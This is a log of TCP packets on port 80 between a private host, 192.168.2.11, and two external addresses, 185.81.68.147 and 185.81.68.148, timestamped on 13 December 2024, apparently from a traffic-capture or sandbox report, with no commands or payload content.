Dec 13, 2024 08:21:24.070517063 CET	50117	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:24.190515995 CET	80	50117	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:24.190712929 CET	50117	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:24.311042070 CET	80	50117	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.224853992 CET	50114	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:25.225249052 CET	50118	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:25.345149994 CET	80	50118	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:25.345176935 CET	80	50114	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:25.345237970 CET	50118	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:25.345268011 CET	50114	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:25.372050047 CET	50118	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:25.419903040 CET	50116	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.420224905 CET	50119	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.492146969 CET	80	50118	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:25.540007114 CET	80	50119	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.540124893 CET	50119	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.540165901 CET	80	50116	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.540261030 CET	50116	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.573188066 CET	50119	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.693020105 CET	80	50119	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.694834948 CET	80	50117	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.694916964 CET	80	50117	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.694976091 CET	50117	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.696306944 CET	50117	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.809801102 CET	50120	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.816052914 CET	80	50117	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.929900885 CET	80	50120	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:25.930139065 CET	50120	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:25.930139065 CET	50120	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:26.050570965 CET	80	50120	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:26.050694942 CET	50120	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:26.170476913 CET	80	50120	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:26.705961943 CET	80	50118	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:26.706060886 CET	50118	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:26.894267082 CET	80	50119	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:26.894418955 CET	50119	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:27.416011095 CET	80	50120	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:27.416090012 CET	80	50120	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:27.416145086 CET	50120	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:27.418011904 CET	50120	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:27.529633999 CET	50121	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:27.539690971 CET	80	50120	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:27.651501894 CET	80	50121	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:27.651590109 CET	50121	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:27.651650906 CET	50121	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:27.771517038 CET	80	50121	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:27.771655083 CET	50121	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:27.891751051 CET	80	50121	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:28.715873003 CET	50119	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:28.716185093 CET	50122	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:28.716268063 CET	50118	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:28.716530085 CET	50123	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:28.841231108 CET	80	50119	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:28.841382027 CET	80	50122	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:28.841391087 CET	50119	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:28.841456890 CET	50122	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:28.841533899 CET	80	50123	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:28.841594934 CET	50123	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:28.843250990 CET	50122	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:28.843848944 CET	50123	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:28.844069004 CET	80	50118	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:28.844151974 CET	50118	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:28.963016987 CET	80	50122	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:28.963598013 CET	80	50123	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:28.989801884 CET	49973	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:28.989840984 CET	49983	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:29.160310030 CET	80	50121	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:29.160548925 CET	80	50121	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:29.160644054 CET	50121	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:29.161757946 CET	50121	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:29.262742996 CET	50124	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:29.281580925 CET	80	50121	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:29.382878065 CET	80	50124	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:29.383019924 CET	50124	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:29.383090973 CET	50124	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:29.502893925 CET	80	50124	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:29.503038883 CET	50124	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:29.623009920 CET	80	50124	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:30.189109087 CET	80	50122	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:30.189196110 CET	50122	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:30.189574003 CET	80	50123	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:30.189630032 CET	50123	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:30.911148071 CET	80	50124	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:30.911232948 CET	80	50124	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:30.911289930 CET	50124	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:30.912652016 CET	50124	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.028765917 CET	50125	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.032357931 CET	80	50124	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:31.149040937 CET	80	50125	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:31.149133921 CET	50125	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.149205923 CET	50125	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.269145012 CET	80	50125	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:31.269228935 CET	50125	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.389024973 CET	80	50125	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:31.716990948 CET	50123	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:31.717264891 CET	50126	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:31.722558022 CET	50122	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.722820997 CET	50127	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.837192059 CET	80	50126	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:31.837312937 CET	50126	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:31.837419987 CET	80	50123	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:31.837485075 CET	50123	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:31.842557907 CET	80	50122	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:31.842572927 CET	80	50127	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:31.842645884 CET	50122	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.842708111 CET	50127	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.863146067 CET	50126	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:31.863267899 CET	50127	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:31.982942104 CET	80	50126	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:31.982980013 CET	80	50127	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:32.602518082 CET	80	50125	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:32.602650881 CET	80	50125	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:32.602741957 CET	50125	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:32.623630047 CET	50125	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:32.735208988 CET	50128	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:32.743472099 CET	80	50125	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:32.855407953 CET	80	50128	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:32.855506897 CET	50128	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:32.863410950 CET	50128	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:32.983170033 CET	80	50128	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:32.983257055 CET	50128	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:33.103123903 CET	80	50128	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:33.179265022 CET	80	50126	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:33.179320097 CET	50126	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:33.205146074 CET	80	50127	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:33.205209970 CET	50127	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.300467014 CET	80	50128	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.300606966 CET	80	50128	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.300663948 CET	50128	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.301929951 CET	50128	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.403278112 CET	50129	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.421631098 CET	80	50128	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.523109913 CET	80	50129	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.523284912 CET	50129	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.523339033 CET	50129	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.643059969 CET	80	50129	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.643157959 CET	50129	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.762859106 CET	80	50129	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.848484993 CET	50126	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:34.848782063 CET	50130	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:34.848881960 CET	50127	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.849066019 CET	50131	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.968663931 CET	80	50130	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:34.968764067 CET	80	50131	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.968805075 CET	50130	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:34.968842030 CET	50131	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.968909025 CET	80	50126	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:34.968971968 CET	50126	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:34.969515085 CET	80	50127	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:34.969577074 CET	50127	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:34.979630947 CET	50130	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:34.979758978 CET	50131	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:35.099445105 CET	80	50130	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:35.099523067 CET	80	50131	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:35.956402063 CET	80	50129	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:35.956547022 CET	80	50129	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:35.956657887 CET	50129	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:35.961492062 CET	50129	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:36.075031996 CET	50132	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:36.081432104 CET	80	50129	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:36.194967985 CET	80	50132	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:36.195058107 CET	50132	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:36.195107937 CET	50132	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:36.315062046 CET	80	50132	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:36.315078020 CET	80	50130	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:36.315145016 CET	50130	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:36.315146923 CET	50132	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:36.315495968 CET	80	50131	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:36.315558910 CET	50131	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:36.434951067 CET	80	50132	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:37.808267117 CET	80	50132	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:37.808670044 CET	80	50132	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:37.808732033 CET	50132	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:37.809787035 CET	50132	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:37.886181116 CET	50131	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:37.886471033 CET	50133	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:37.900616884 CET	50130	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:37.900871038 CET	50134	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:37.918994904 CET	50135	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:37.929533005 CET	80	50132	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:38.006248951 CET	80	50133	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:38.006304979 CET	80	50131	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:38.006344080 CET	50133	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:38.006372929 CET	50131	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:38.020584106 CET	80	50134	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:38.020678997 CET	50134	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:38.020740032 CET	80	50130	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:38.020788908 CET	50130	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:38.026662111 CET	50133	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:38.026817083 CET	50134	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:38.038839102 CET	80	50135	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:38.038937092 CET	50135	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:38.039016008 CET	50135	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:38.146558046 CET	80	50133	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:38.146603107 CET	80	50134	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:38.158830881 CET	80	50135	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:38.158890963 CET	50135	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:38.278736115 CET	80	50135	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:39.381045103 CET	80	50133	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:39.381057024 CET	80	50134	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:39.381177902 CET	50133	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:39.383694887 CET	50134	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:39.653225899 CET	80	50135	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:39.653285980 CET	80	50135	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:39.653367996 CET	50135	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:39.654766083 CET	50135	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:39.762622118 CET	50136	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:39.774638891 CET	80	50135	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:39.884919882 CET	80	50136	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:39.885255098 CET	50136	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:39.885343075 CET	50136	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:40.005122900 CET	80	50136	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:40.005244970 CET	50136	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:40.127295017 CET	80	50136	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.072444916 CET	50133	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.085078955 CET	50137	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.085599899 CET	50134	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:41.086035013 CET	50138	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:41.192735910 CET	80	50133	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.192853928 CET	50133	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.205013990 CET	80	50137	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.205141068 CET	50137	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.205599070 CET	80	50134	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:41.205668926 CET	50134	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:41.205720901 CET	80	50138	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:41.205777884 CET	50138	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:41.252058029 CET	50137	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.255717039 CET	50138	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:41.358017921 CET	80	50136	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.358058929 CET	80	50136	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.358165026 CET	50136	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.359520912 CET	50136	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.371925116 CET	80	50137	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.375555992 CET	80	50138	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:41.473649025 CET	50139	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.479327917 CET	80	50136	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.593630075 CET	80	50139	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.593864918 CET	50139	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.593864918 CET	50139	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.713706017 CET	80	50139	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:41.713785887 CET	50139	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:41.833568096 CET	80	50139	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:42.536329985 CET	80	50137	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:42.536448956 CET	50137	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:42.537601948 CET	80	50138	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:42.537668943 CET	50138	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:43.035608053 CET	80	50139	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:43.035643101 CET	80	50139	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:43.036922932 CET	50139	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:43.037286997 CET	50139	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:43.153137922 CET	50140	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:43.156963110 CET	80	50139	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:43.273045063 CET	80	50140	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:43.276988029 CET	50140	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:43.277054071 CET	50140	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:43.396867990 CET	80	50140	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:43.397013903 CET	50140	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:43.517134905 CET	80	50140	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:44.696682930 CET	50137	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:44.696985006 CET	50141	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:44.718907118 CET	50138	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:44.719201088 CET	50142	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:44.816817045 CET	80	50141	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:44.816888094 CET	50141	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:44.816998959 CET	80	50137	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:44.817269087 CET	50137	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:44.838896990 CET	80	50142	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:44.838939905 CET	50141	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:44.839039087 CET	80	50138	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:44.839124918 CET	50138	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:44.844825983 CET	50142	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:44.851973057 CET	50142	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:44.896039009 CET	80	50140	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:44.896100998 CET	80	50140	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:44.896152020 CET	50140	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:44.897520065 CET	50140	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:44.958770990 CET	80	50141	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:44.971947908 CET	80	50142	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:45.012537956 CET	50143	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:45.017220974 CET	80	50140	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:45.133744001 CET	80	50143	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:45.133821964 CET	50143	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:45.134252071 CET	50143	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:45.253835917 CET	80	50143	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:45.253920078 CET	50143	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:45.373673916 CET	80	50143	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:46.174334049 CET	80	50141	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:46.176557064 CET	50141	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:46.205142975 CET	80	50142	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:46.208976984 CET	50142	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:46.777579069 CET	80	50143	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:46.777599096 CET	80	50143	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:46.777654886 CET	50143	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:46.780229092 CET	50143	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:46.887546062 CET	50144	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:46.899988890 CET	80	50143	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:47.007522106 CET	80	50144	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:47.007641077 CET	50144	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:47.007700920 CET	50144	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:47.127486944 CET	80	50144	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:47.127639055 CET	50144	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:47.247484922 CET	80	50144	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:47.941824913 CET	50141	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:47.942142010 CET	50145	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:47.942272902 CET	50142	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:47.942503929 CET	50146	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:48.061990976 CET	80	50145	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:48.062011003 CET	80	50141	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:48.062068939 CET	50145	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:48.062097073 CET	50141	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:48.062169075 CET	80	50146	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:48.062256098 CET	50146	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:48.062474966 CET	80	50142	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:48.062521935 CET	50142	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:48.070777893 CET	50145	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:48.070884943 CET	50146	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:48.190704107 CET	80	50145	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:48.190721989 CET	80	50146	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:48.648940086 CET	80	50144	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:48.649211884 CET	80	50144	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:48.649281025 CET	50144	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:48.650818110 CET	50144	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:48.762619972 CET	50147	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:48.770579100 CET	80	50144	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:48.882492065 CET	80	50147	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:48.883245945 CET	50147	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:48.883409023 CET	50147	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:49.003190994 CET	80	50147	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:49.003303051 CET	50147	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:49.123119116 CET	80	50147	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:49.426518917 CET	80	50146	185.81.68.148	192.168.2.11
Dec 13, 2024 08:21:49.426626921 CET	50146	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:21:49.442502022 CET	80	50145	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:49.442606926 CET	50145	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:50.478684902 CET	80	50147	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:50.478709936 CET	80	50147	185.81.68.147	192.168.2.11
Dec 13, 2024 08:21:50.478800058 CET	50147	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:50.480108023 CET	50147	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:50.590742111 CET	50148	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:21:50.599935055 CET	80	50147	185.81.68.147	192.168.2.11
